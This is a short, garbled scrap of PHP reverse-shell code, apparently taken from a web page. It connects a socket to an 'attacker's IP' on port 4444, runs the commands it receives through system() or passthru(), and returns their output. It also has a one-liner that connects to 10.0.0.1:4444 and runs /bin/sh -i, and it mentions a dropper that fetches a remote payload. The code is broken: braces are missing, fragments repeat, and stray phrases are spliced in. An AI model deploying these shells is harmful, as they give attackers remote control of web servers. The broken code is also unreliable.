<?php // Attacker's IP and listening port $ip = '192.168.1.100'; $port = 4444; // Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30);
elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n"); Reverse Shell Php
elseif (function_exists('passthru')) while ($cmd = fgets($sock)) ob_start(); passthru($cmd); fwrite($sock, ob_get_clean() . "\n"); $port = 4444
fclose($sock); ?>
<?= $c=fsockopen("10.0.0.1",4444);$d=exec("/bin/sh -i <&3 >&3 2>&3"); ?> Instead of embedding the entire shell in one file, a small "dropper" PHP script fetches a secondary payload from a remote server: ob_get_clean() . "\n")